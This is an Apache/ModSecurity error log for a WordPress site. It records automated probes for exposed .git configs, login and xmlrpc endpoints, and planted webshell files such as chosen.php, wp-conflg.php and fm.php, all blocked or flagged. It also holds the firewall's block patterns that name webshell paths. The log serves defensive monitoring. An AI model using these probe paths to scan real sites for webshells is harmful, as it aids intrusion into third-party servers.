[Thu Nov 13 23:17:43.208906 2025] [:error] [pid 19872:tid 19883] [client 216.81.245.235:35822] [client 216.81.245.235] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aRX2l8usrN1b6ZJ_vbsyjQAAAEY"]
[Thu Nov 13 23:30:55.197140 2025] [:error] [pid 19872:tid 19883] [client 159.223.226.118:38004] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.226.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRX5r8usrN1b6ZJ_vbs4ZwAAAEY"]
[Fri Nov 14 00:59:47.803216 2025] [:error] [pid 56586:tid 56612] [client 216.73.161.147:22317] [client 216.73.161.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aRYOg67eYD3G9deYMP4x0AAAAZU"]
[Fri Nov 14 00:59:50.815952 2025] [:error] [pid 56495:tid 56513] [client 216.73.161.150:35495] [client 216.73.161.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aRYOhlwO8wZZL5WJceW0xQAAAM4"]
[Fri Nov 14 01:00:05.031490 2025] [:error] [pid 56497:tid 56568] [client 45.92.229.26:58733] [client 45.92.229.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aRYOlXsatOTNIa5GK3tPmwAAAI0"]
[Fri Nov 14 01:00:16.153130 2025] [:error] [pid 49246:tid 49258] [client 45.92.229.21:26021] [client 45.92.229.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aRYOoN-hdG_ZJBT6alPIPAAAAEg"]
[Fri Nov 14 01:00:20.072796 2025] [:error] [pid 56497:tid 56567] [client 45.92.229.12:58829] [client 45.92.229.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aRYOpHsatOTNIa5GK3tPrQAAAIw"]
[Fri Nov 14 01:00:21.438993 2025] [:error] [pid 56495:tid 56521] [client 216.73.161.158:24803] [client 216.73.161.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aRYOpVwO8wZZL5WJceW05gAAANY"]
[Fri Nov 14 01:00:26.621450 2025] [:error] [pid 56496:tid 56549] [client 216.73.161.149:24593] [client 216.73.161.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aRYOquh2ME7eucGJGGKw4gAAABU"]
[Fri Nov 14 01:00:30.125130 2025] [:error] [pid 49246:tid 49267] [client 216.73.161.146:21953] [client 216.73.161.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aRYOrt-hdG_ZJBT6alPISAAAAFE"]
[Fri Nov 14 01:00:44.761955 2025] [:error] [pid 56497:tid 56573] [client 216.73.161.138:34005] [client 216.73.161.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aRYOvHsatOTNIa5GK3tPyQAAAJI"]
[Fri Nov 14 01:00:46.069560 2025] [:error] [pid 49246:tid 49269] [client 216.73.161.144:48321] [client 216.73.161.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aRYOvt-hdG_ZJBT6alPIbwAAAFM"]
[Fri Nov 14 01:02:06.801230 2025] [:error] [pid 56497:tid 56579] [client 45.92.229.16:56035] [client 45.92.229.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRYPDnsatOTNIa5GK3tQQQAAAJg"]
[Fri Nov 14 01:02:14.949615 2025] [:error] [pid 56497:tid 56566] [client 45.92.229.16:56035] [client 45.92.229.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aRYPFnsatOTNIa5GK3tQSwAAAIs"]
[Fri Nov 14 01:02:39.591886 2025] [:error] [pid 49246:tid 49255] [client 216.73.161.148:42193] [client 216.73.161.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aRYPL9-hdG_ZJBT6alPJPQAAAEU"]
[Fri Nov 14 01:03:46.763207 2025] [:error] [pid 49246:tid 49262] [client 45.92.229.14:52609] [client 45.92.229.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aRYPct-hdG_ZJBT6alPKDQAAAEw"]
[Fri Nov 14 01:04:28.940505 2025] [:error] [pid 56495:tid 56519] [client 54.86.66.252:9170] [client 54.86.66.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.86.66.252, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRYPnFwO8wZZL5WJceW2RAAAANQ"]
[Fri Nov 14 01:05:42.360500 2025] [:error] [pid 49246:tid 49265] [client 45.92.229.13:62911] [client 45.92.229.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aRYP5t-hdG_ZJBT6alPLHwAAAE8"]
[Fri Nov 14 01:06:24.374257 2025] [:error] [pid 56496:tid 56535] [client 45.92.229.21:37869] [client 45.92.229.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aRYQEOh2ME7eucGJGGKzPQAAAAc"]
[Fri Nov 14 01:06:25.302189 2025] [:error] [pid 49246:tid 49270] [client 216.73.161.139:22685] [client 216.73.161.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.161.139, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRYQEd-hdG_ZJBT6alPLbQAAAFQ"]
[Fri Nov 14 01:06:30.862298 2025] [:error] [pid 49246:tid 49268] [client 216.73.161.139:22685] [client 216.73.161.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aRYQFt-hdG_ZJBT6alPLfQAAAFI"]
[Fri Nov 14 01:06:47.137318 2025] [:error] [pid 49246:tid 49261] [client 216.73.161.154:33487] [client 216.73.161.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aRYQJ9-hdG_ZJBT6alPLogAAAEs"]
[Fri Nov 14 01:07:18.690922 2025] [:error] [pid 56586:tid 56591] [client 45.92.229.22:30861] [client 45.92.229.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aRYQRq7eYD3G9deYMP40hwAAAYA"]
[Fri Nov 14 01:07:20.676145 2025] [:error] [pid 49246:tid 49265] [client 45.92.229.36:42031] [client 45.92.229.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aRYQSN-hdG_ZJBT6alPLygAAAE8"]
[Fri Nov 14 01:07:21.700020 2025] [:error] [pid 56497:tid 56556] [client 45.92.229.12:52257] [client 45.92.229.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aRYQSXsatOTNIa5GK3tR-gAAAIE"]
[Fri Nov 14 01:07:22.682733 2025] [:error] [pid 56497:tid 56575] [client 216.73.161.149:62215] [client 216.73.161.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aRYQSnsatOTNIa5GK3tR_wAAAJQ"]
[Fri Nov 14 01:07:29.571310 2025] [:error] [pid 49246:tid 49269] [client 216.73.161.145:47457] [client 216.73.161.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.73.161.145, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aRYQUd-hdG_ZJBT6alPL3AAAAFM"]
[Fri Nov 14 01:07:52.683312 2025] [:error] [pid 49246:tid 49258] [client 216.73.161.145:47457] [client 216.73.161.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aRYQaN-hdG_ZJBT6alPMDAAAAEg"]
[Fri Nov 14 01:07:59.735958 2025] [:error] [pid 56495:tid 56501] [client 45.92.229.29:59121] [client 45.92.229.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.29, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aRYQb1wO8wZZL5WJceW3bQAAAMI"]
[Fri Nov 14 01:08:14.591963 2025] [:error] [pid 56495:tid 56507] [client 45.92.229.29:59121] [client 45.92.229.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aRYQflwO8wZZL5WJceW3fwAAAMg"]
[Fri Nov 14 01:08:15.572739 2025] [:error] [pid 56495:tid 56519] [client 216.73.161.152:31079] [client 216.73.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/about.php"] [unique_id "aRYQf1wO8wZZL5WJceW3gAAAANQ"]
[Fri Nov 14 01:08:20.634333 2025] [proxy_fcgi:error] [pid 56496:tid 56528] [client 216.73.161.147:54561] AH01071: Got error 'Primary script unknown'
[Fri Nov 14 01:08:32.275028 2025] [proxy_fcgi:error] [pid 56496:tid 56530] [client 216.73.161.147:54561] AH01071: Got error 'Primary script unknown'
[Fri Nov 14 01:08:56.761952 2025] [:error] [pid 56496:tid 56542] [client 216.73.161.147:54561] [client 216.73.161.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aRYQqOh2ME7eucGJGGK0MAAAAA4"]
[Fri Nov 14 01:09:05.188741 2025] [:error] [pid 56586:tid 56595] [client 216.73.161.140:46573] [client 216.73.161.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aRYQsa7eYD3G9deYMP41UwAAAYQ"]
[Fri Nov 14 01:09:08.625356 2025] [:error] [pid 56586:tid 56600] [client 216.73.161.154:47021] [client 216.73.161.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aRYQtK7eYD3G9deYMP41WQAAAYk"]
[Fri Nov 14 01:09:18.441417 2025] [:error] [pid 49246:tid 49261] [client 45.92.229.13:24241] [client 45.92.229.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aRYQvt-hdG_ZJBT6alPMrAAAAEs"]
[Fri Nov 14 01:09:19.652262 2025] [:error] [pid 56496:tid 56532] [client 45.92.229.40:56659] [client 45.92.229.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aRYQv-h2ME7eucGJGGK0UAAAAAQ"]
[Fri Nov 14 01:09:21.765013 2025] [:error] [pid 56497:tid 56574] [client 45.92.229.15:58403] [client 45.92.229.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aRYQwXsatOTNIa5GK3tS0wAAAJM"]
[Fri Nov 14 01:09:28.005730 2025] [:error] [pid 56497:tid 56569] [client 45.92.229.15:58403] [client 45.92.229.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aRYQyHsatOTNIa5GK3tS2QAAAI4"]
[Fri Nov 14 01:09:38.011469 2025] [autoindex:error] [pid 49246:tid 49253] [client 216.73.161.146:35613] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 14 01:09:40.812460 2025] [:error] [pid 49246:tid 49263] [client 216.73.161.146:35613] [client 216.73.161.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aRYQ1N-hdG_ZJBT6alPM1QAAAE0"]
[Fri Nov 14 01:09:44.535749 2025] [:error] [pid 49246:tid 49251] [client 45.92.229.19:32949] [client 45.92.229.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aRYQ2N-hdG_ZJBT6alPM3gAAAEE"]
[Fri Nov 14 01:09:51.463718 2025] [:error] [pid 56586:tid 56614] [client 45.92.229.36:34545] [client 45.92.229.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aRYQ367eYD3G9deYMP41tQAAAZc"]
[Fri Nov 14 01:09:57.520893 2025] [:error] [pid 56586:tid 56608] [client 45.92.229.33:21461] [client 45.92.229.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.229.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aRYQ5a7eYD3G9deYMP41uwAAAZE"]
[Fri Nov 14 01:10:06.067929 2025] [:error] [pid 56586:tid 56608] [client 45.92.229.33:21461] [client 45.92.229.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aRYQ7q7eYD3G9deYMP41yAAAAZE"]
[Fri Nov 14 01:10:08.910652 2025] [:error] [pid 56497:tid 56570] [client 216.73.161.156:32151] [client 216.73.161.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aRYQ8HsatOTNIa5GK3tTFAAAAI8"]
[Fri Nov 14 01:10:31.462766 2025] [:error] [pid 56497:tid 56572] [client 216.73.161.157:38365] [client 216.73.161.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aRYRB3satOTNIa5GK3tTTgAAAJE"]
[Fri Nov 14 01:10:34.556012 2025] [:error] [pid 49246:tid 49268] [client 45.92.229.13:27671] [client 45.92.229.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aRYRCt-hdG_ZJBT6alPNQAAAAFI"]
[Fri Nov 14 01:10:35.530330 2025] [:error] [pid 56497:tid 56575] [client 45.92.229.39:20195] [client 45.92.229.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aRYRC3satOTNIa5GK3tTVAAAAJQ"]
[Fri Nov 14 01:10:36.705309 2025] [:error] [pid 56495:tid 56520] [client 45.92.229.25:61321] [client 45.92.229.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aRYRDFwO8wZZL5WJceW4WQAAANU"]
[Fri Nov 14 01:10:37.725369 2025] [:error] [pid 56497:tid 56569] [client 45.92.229.33:23233] [client 45.92.229.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aRYRDXsatOTNIa5GK3tTVgAAAI4"]
[Fri Nov 14 01:10:48.111262 2025] [:error] [pid 56586:tid 56610] [client 45.92.229.16:46115] [client 45.92.229.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aRYRGK7eYD3G9deYMP42FQAAAZM"]
[Fri Nov 14 01:10:57.131365 2025] [:error] [pid 56586:tid 56604] [client 45.92.229.38:34609] [client 45.92.229.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aRYRIa7eYD3G9deYMP42IgAAAY0"]
